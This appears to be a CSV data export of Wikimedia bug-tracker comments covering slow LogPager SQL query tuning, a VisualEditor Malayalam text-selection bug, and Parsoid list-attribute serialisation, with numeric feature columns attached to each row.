251577,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Larger WMF wikis are seeing more spikes of LogPager queries of which an example follows. These have had some recent tuning by initially removing forced indexes that no longer suited data set sizes, which has helped (10min down to ~100s), but we need to do more.

mysql wmf db73 dewiki> explain SELECT /* IndexPager::buildQueryInfo (LogPager) xxx.xxx.xxx.xxx */ log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags FROM `logging` LEFT JOIN `user` ON ((log_user=user_id)) LEFT JOIN `tag_summary` ON ((ts_log_id=log_id)) WHERE (log_type NOT IN ('suppress','spamblacklist')) AND log_user = ? AND ((log_deleted & 4) = 0) AND (log_type != 'review') ORDER BY log_timestamp DESC LIMIT 51\G
*************************** 1. row ***************************
           id: 1
  select_type: SIMPLE
        table: logging
         type: index
possible_keys: type_time,user_time,log_user_type_time
          key: times
      key_len: 16
          ref: NULL
         rows: 6705
        Extra: Using where
*************************** 2. row ***************************
           id: 1
  select_type: SIMPLE
        table: user
         type: eq_ref
possible_keys: PRIMARY
          key: PRIMARY
      key_len: 4
          ref: dewiki.logging.log_user
         rows: 1
        Extra: 
*************************** 3. row ***************************
           id: 1
  select_type: SIMPLE
        table: tag_summary
         type: ref
possible_keys: ts_log_id,tag_summary_log_id
          key: ts_log_id
      key_len: 5
          ref: dewiki.logging.log_id
         rows: 20172                   <-- often much larger
        Extra: Using where
3 rows in set (0.29 sec)

The remaining problems are:

- The queries are fast enough until one hits cold data leading a slave to bottleneck on disk. The buffer pool churn has a flow-on effect on other normally fast queries which become false positives in the slow log. Especially problematic when a crawler like MSNBOT triggers a spike of these.

- The tag_summary table often has a relatively low cardinality for ts_log_id (many nulls, few ids).

- Sometimes a slave logs multiple identical copies of a query (always a form filtered by log_user) at intervals of several seconds. Presumably someone refreshing a page that is too slow to respond.

Possibilities:

- Pull out only log_id,log_user first to reduce the impact of the filesort and grab user and tag data in follow-up batch query. If the query plan sitches to using Index Condition Pushdown (""Using index condition"" in explain), cold data is less of an issue as fewer table rows are hit and fewer pages read.

- Limit the size of the dataset to be considered. By timestamp perhaps, last X months maybe. For heavier users only?

- Improve the method of retrieving ts_tags using something other than tag_summary. Or remove it entirely.

- Isolate these queries to specific slaves (like watchlist).",,,1384428099,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,19,,0.625,0.25,0.125,0.25,0.125,3.75,0.25,0.0,0.0,0.125,0.75,0.5,0.0,0.25,0.0,0.5,0.25,3.25,5.625,0.25,0.5,0.0,0.0,0.0,0.0,0.125,0.125,0.0,0.0,0.0,0.375,3.0,0.25,0.125,0.25,0.0,0.0,0.125,0.375,0.125,0.0,0.0,0.125,0.5,0.125,0.125,0.0,0.125,0.0,15.25,0.25,0.25,0.125,0.25,0.125,0.125,0.0,0.25,0.375,0.25,0.125,0.0,0.0,0.0,0.0,0.25,0.0,2.75,0.875,7.625,0.625,1.125,3.625,0.0,0.0,0.125,0.0,1.875,0.25,2.5,0.0,0.25,5.625,6.75,0.25,0.75,0.0,0.25,0.0,1.125,1.375,0.0,1.5,1.125,0.0,0.625,3.606172360248447,0.5624104156712852,"Larger WMF wikis are seeing more spikes of LogPager queries of which an example follows. These have had some recent tuning by initially removing forced indexes that no longer suited data set sizes, which has helped (10min down to ~100s), but we need to do more.

mysql wmf db73 dewiki> explain SELECT /* IndexPager::buildQueryInfo (LogPager) xxx.xxx.xxx.xxx */ log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags FROM CODE LEFT JOIN CODE ON ((log_user=user_id)) LEFT JOIN CODE ON ((ts_log_id=log_id)) WHERE (log_type NOT IN ('suppress','spamblacklist')) AND log_user = ? AND ((log_deleted & 4) = 0) AND (log_type != 'review') ORDER BY log_timestamp DESC LIMIT 51\G
*************************** 1. row ***************************
           id: 1
  select_type: SIMPLE
        table: logging
         type: index
possible_keys: type_time,user_time,log_user_type_time
          key: times
      key_len: 16
          ref: NULL
         rows: 6705
        Extra: Using where
*************************** 2. row ***************************
           id: 1
  select_type: SIMPLE
        table: user
         type: eq_ref
possible_keys: PRIMARY
          key: PRIMARY
      key_len: 4
          ref: dewiki.logging.log_user
         rows: 1
        Extra: 
*************************** 3. row ***************************
           id: 1
  select_type: SIMPLE
        table: tag_summary
         type: ref
possible_keys: ts_log_id,tag_summary_log_id
          key: ts_log_id
      key_len: 5
          ref: dewiki.logging.log_id
         rows: 20172                   <-- often much larger
        Extra: Using where
3 rows in set (0.29 sec)

The remaining problems are:

- The queries are fast enough until one hits cold data leading a slave to bottleneck on disk. The buffer pool churn has a flow-on effect on other normally fast queries which become false positives in the slow log. Especially problematic when a crawler like MSNBOT triggers a spike of these.

- The tag_summary table often has a relatively low cardinality for ts_log_id (many nulls, few ids).

- Sometimes a slave logs multiple identical copies of a query (always a form filtered by log_user) at intervals of several seconds. Presumably someone refreshing a page that is too slow to respond.

Possibilities:

- Pull out only log_id,log_user first to reduce the impact of the filesort and grab user and tag data in follow-up batch query. If the query plan sitches to using Index Condition Pushdown (""Using index condition"" in explain), cold data is less of an issue as fewer table rows are hit and fewer pages read.

- Limit the size of the dataset to be considered. By timestamp perhaps, last X months maybe. For heavier users only?

- Improve the method of retrieving ts_tags using something other than tag_summary. Or remove it entirely.

- Isolate these queries to specific slaves (like watchlist)."
251570,IndexPager::buildQueryInfo (LogPager) query needs tuning,Comment 2 correct.,,,1381972117,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Comment 2 correct.
251563,IndexPager::buildQueryInfo (LogPager) query needs tuning,Was this removed together with other FORCE INDEX recently?,,,1381520218,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Was this removed together with other FORCE INDEX recently?
251557,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Similar:

SELECT /* IndexPager::buildQueryInfo (contributions page unfiltered) AstroChemist */  rev_id,rev_page,rev_text_id,rev_timestamp,rev_comment,rev_user_text,rev_user,rev_minor_edit,rev_deleted,rev_len,rev_parent_id,rev_sha1,user_name,page_namespace,page_title,page_is_new,page_latest,page_is_redirect,page_len,ts_tags  FROM `revision` INNER JOIN `page` ON ((page_id = rev_page)) LEFT JOIN `user` ON ((rev_user != 0) AND (user_id = rev_user)) LEFT JOIN `user_groups` ON ((ug_user = rev_user) AND ug_group = 'bot') LEFT JOIN `tag_summary` ON ((ts_rev_id=rev_id)) INNER JOIN `change_tag` FORCE INDEX (change_tag_tag_id) ON ((ct_rev_id=rev_id))  WHERE (rev_user >19555425) AND (ug_group IS NULL) AND (page_namespace != '0') AND ((rev_deleted & 4) = 0) AND ct_tag = 'visualeditor' AND (rev_timestamp<'20140101000000')  ORDER BY rev_timestamp DESC LIMIT 601;

With force: 10+ mins

Without force: 8s",,,1379619643,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-5u2adzhalmhqywlvbhji,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.5,5.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,22.5,0.5,4.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,4.5,0.0,0.0,5.0,23.0,0.0,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,4.052083333333333,0.5052083333333334,"Similar:

SELECT /* IndexPager::buildQueryInfo (contributions page unfiltered) AstroChemist */  rev_id,rev_page,rev_text_id,rev_timestamp,rev_comment,rev_user_text,rev_user,rev_minor_edit,rev_deleted,rev_len,rev_parent_id,rev_sha1,user_name,page_namespace,page_title,page_is_new,page_latest,page_is_redirect,page_len,ts_tags  FROM CODE INNER JOIN CODE ON ((page_id = rev_page)) LEFT JOIN CODE ON ((rev_user != 0) AND (user_id = rev_user)) LEFT JOIN CODE ON ((ug_user = rev_user) AND ug_group = 'bot') LEFT JOIN CODE ON ((ts_rev_id=rev_id)) INNER JOIN CODE FORCE INDEX (change_tag_tag_id) ON ((ct_rev_id=rev_id))  WHERE (rev_user >19555425) AND (ug_group IS NULL) AND (page_namespace != '0') AND ((rev_deleted & 4) = 0) AND ct_tag = 'visualeditor' AND (rev_timestamp<'20140101000000')  ORDER BY rev_timestamp DESC LIMIT 601;

With force: 10+ mins

Without force: 8s"
55572,VisualEditor: Unexpected editing behaviour for Malayalam Text,"Attachment 1

Visual Editor became quite unusable (possibly) after a recent update in Malayalam Wikipedia. There are several selection, editing and linking problems started to appear recently. Two such problems are described here.

See the example below

1. Copy the following text and paste it in a test page at Malayalam Wikipedia using conventional editor and save it. 
ഈ ദുരന്തം ഐറിഷ് രാജ്യാതിർത്തി

2. Edit the page using VE.

3. Change the third word ""ഐറിഷ്"" to ""അയർലൻഡ്"". To do that, select the word ""ഐറിഷ്"" by double clicking on it and type the word അയർലൻഡ്.

4. Now I want to create a wikilink for അയർലൻഡ്. For that, I used shift+ctrl+left arrow. Now, instead of selecting the entire word, A PORTION OF THE WORD WAS SELECTED. See the attachment 1. 

5. Select the entire word അയർലൻഡ് using double clicking on it

6. Press ctrl+k. Now instead of popping up a linking suggestion for the word അയർലൻഡ്, THE WORD DISAPPEARED AND LINKING SUGGESTION FOR A PART OF NEXT WORD POPS UP. See the attachment 2

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Linux
**Platform**: PC

**Attached**: {F11751}",Medium,50.0,1377824820,1379322294.0,PHID-USER-4jecvpv4h62htut6pxez,False,,False,PHID-TASK-n4sh4scopfxwny7l26we,task_description,resolved,True,c1,3,False,False,True,8,,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,4.666666666666667,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,3.0,7.666666666666667,0.0,1.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,1.0,1.3333333333333333,1.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,12.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,6.666666666666667,1.0,19.333333333333332,0.0,1.6666666666666667,7.333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.0,3.6666666666666665,0.0,2.0,7.666666666666667,5.333333333333333,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,3.6666666666666665,0.0,0.0,0.6666666666666666,3.7843137254901964,0.6509803921568628,"Attachment 1

Visual Editor became quite unusable (possibly) after a recent update in Malayalam Wikipedia. There are several selection, editing and linking problems started to appear recently. Two such problems are described here.

See the example below

1. Copy the following text and paste it in a test page at Malayalam Wikipedia using conventional editor and save it. 
ഈ ദുരന്തം ഐറിഷ് രാജ്യാതിർത്തി

2. Edit the page using VE.

3. Change the third word ""ഐറിഷ്"" to ""അയർലൻഡ്"". To do that, select the word ""ഐറിഷ്"" by double clicking on it and type the word അയർലൻഡ്.

4. Now I want to create a wikilink for അയർലൻഡ്. For that, I used shift+ctrl+left arrow. Now, instead of selecting the entire word, A PORTION OF THE WORD WAS SELECTED. See the attachment 1. 

5. Select the entire word അയർലൻഡ് using double clicking on it

6. Press ctrl+k. Now instead of popping up a linking suggestion for the word അയർലൻഡ്, THE WORD DISAPPEARED AND LINKING SUGGESTION FOR A PART OF NEXT WORD POPS UP. See the attachment 2

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Linux
**Platform**: PC

**Attached**: {F11751}"
251287,VisualEditor: Unexpected editing behaviour for Malayalam Text,"(In reply to comment #9)
> When will this be deployed in ml.wikipedia?

Assuming that VE is deployed according to the roadmap for MediaWiki: [[mw:MediaWiki_1.22/Roadmap]], September 19. (Sorry, I should have mentioned that in my previous comment :) )",,,1379335311,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,4.0,0.0,2.0,0.0,2.0,0.0,2.0,4.0,2.0,4.0,0.0,4.0,14.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,3.62,0.82,"(In reply to comment #9)
QUOTE

Assuming that VE is deployed according to the roadmap for MediaWiki: [[mw:MediaWiki_1.22/Roadmap]], September 19. (Sorry, I should have mentioned that in my previous comment :) )"
251282,VisualEditor: Unexpected editing behaviour for Malayalam Text,"(In reply to comment #7)
> vssun, on which wiki? The patch is only deployed at [[mw:|MediaWiki.org]]
> right
> now.

Thank you. The bug is about Malayalam Wikipedia (already mentioned in description)

When will this be deployed in ml.wikipedia?",,,1379333338,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,23.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,3.0,13.0,13.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,0.7948717948717948,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE

Thank you. The bug is about Malayalam Wikipedia (already mentioned in description)

When will this be deployed in ml.wikipedia?"
251277,VisualEditor: Unexpected editing behaviour for Malayalam Text,"(In reply to comment #6)
> Still facing all the problems mentioned at comment 1

Please always provide clear and exact steps to reproduce (e.g. URL testcase).
Resetting status as I assume that this is fixed on mediawiki.org.",,,1379322294,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,8.0,3.0,3.0,0.0,3.0,15.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.8461538461538463,0.8717948717948718,"(In reply to comment #6)
QUOTE

Please always provide clear and exact steps to reproduce (e.g. URL testcase).
Resetting status as I assume that this is fixed on mediawiki.org."
251271,VisualEditor: Unexpected editing behaviour for Malayalam Text,"vssun, on which wiki? The patch is only deployed at [[mw:|MediaWiki.org]] right now.",,,1379314575,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,3.6,0.9,"vssun, on which wiki? The patch is only deployed at [[mw:|MediaWiki.org]] right now."
251267,VisualEditor: Unexpected editing behaviour for Malayalam Text,Still facing all the problems mentioned at comment 1,,,1379313962,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,False,,,11,,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.888888888888889,1.0,Still facing all the problems mentioned at comment 1
251263,VisualEditor: Unexpected editing behaviour for Malayalam Text,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958943,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,11.0,22.0,4.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5185185185185186,0.8518518518518519,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring."
251260,VisualEditor: Unexpected editing behaviour for Malayalam Text,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943178,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
251255,VisualEditor: Unexpected editing behaviour for Malayalam Text,"(In reply to comment #2)
> Sorry for the incorrect attachment links on the above comments. Please
> correct it if somebody can.

Sorry, links in comments can't be edited in Bugzilla. :-(",,,1377827166,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,15.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.8846153846153846,"(In reply to comment #2)
QUOTE
QUOTE

Sorry, links in comments can't be edited in Bugzilla. :-("
251248,VisualEditor: Unexpected editing behaviour for Malayalam Text,Sorry for the incorrect attachment links on the above comments. Please correct it if somebody can.,,,1377825981,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,False,,,8,,0.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,0.8888888888888888,Sorry for the incorrect attachment links on the above comments. Please correct it if somebody can.
251242,VisualEditor: Unexpected editing behaviour for Malayalam Text,"Attachment 2

**Attached**: {F11752}",,,1377825109,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-n4sh4scopfxwny7l26we,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.75,"Attachment 2

**Attached**: {F11752}"
55568,Automatically switch from wikitext to HTML syntax in serializer when attributes were added to elements,"When editing a document that contains:

* Foo
* Bar
* Baz

Adding an attribute to one of the list items in VE doesn't roundtrip (they serialise back to * instead of forcing <ul><li>..</ul>, as it will have to).

Right now VisualEditor never does this, but earlier today I was experimenting with this (the language inspector might need to do this to properly flip the directionality of an individual list item, wrapping the inner content is not an option as then the number would be on the wrong side).

When trying to reproduce this I noticed that it also happens when creating a new document (e.g. there is no existing page, it has no reason to force ""*"" instead of ""<li>"" other than that being the preferred default for wikitext).


http://parsoid.wmflabs.org/_html/:

In:
<div dir=""ltr"">
<ul>
<li>a
<li lang=""he"" dir=""rtl"">b
<li>c
</ul>
</div>

Out:
<div dir=""ltr"">

* a
* b
* c

</div>

The only case where Parsoid kept the attributes is when not editing a document with wikitext, and not creating a new document, but when editing an existing document with ""<li>"" in wikitext already, it did roundtrip those.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=68800",Medium,50.0,1377813060,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5dek6g5wc736qamv43s5,task_description,open,True,c1,3,True,False,,8,,0.0,0.0,0.0,0.0,1.3333333333333333,3.3333333333333335,1.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,7.666666666666667,8.0,0.0,1.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,3.0,1.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,3.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,8.666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,6.0,2.0,7.0,2.3333333333333335,1.0,8.666666666666666,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,2.3333333333333335,8.0,5.0,0.0,3.0,0.0,2.3333333333333335,0.0,2.3333333333333335,3.0,0.0,4.0,0.3333333333333333,0.0,10.0,3.3914656771799625,0.638150209578781,"When editing a document that contains:

* Foo
* Bar
* Baz

Adding an attribute to one of the list items in VE doesn't roundtrip (they serialise back to * instead of forcing <ul><li>..</ul>, as it will have to).

Right now VisualEditor never does this, but earlier today I was experimenting with this (the language inspector might need to do this to properly flip the directionality of an individual list item, wrapping the inner content is not an option as then the number would be on the wrong side).

When trying to reproduce this I noticed that it also happens when creating a new document (e.g. there is no existing page, it has no reason to force ""*"" instead of ""<li>"" other than that being the preferred default for wikitext).


URL

In:
<div dir=""ltr"">
<ul>
<li>a
<li lang=""he"" dir=""rtl"">b
<li>c
</ul>
</div>

Out:
<div dir=""ltr"">

* a
* b
* c

</div>

The only case where Parsoid kept the attributes is when not editing a document with wikitext, and not creating a new document, but when editing an existing document with ""<li>"" in wikitext already, it did roundtrip those.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
1425245,Automatically switch from wikitext to HTML syntax in serializer when attributes were added to elements,"An option might be to use T230683's `<<< .... >>>` syntax to handle T242777, and T230658's `{{#attr}}` to handle this task.

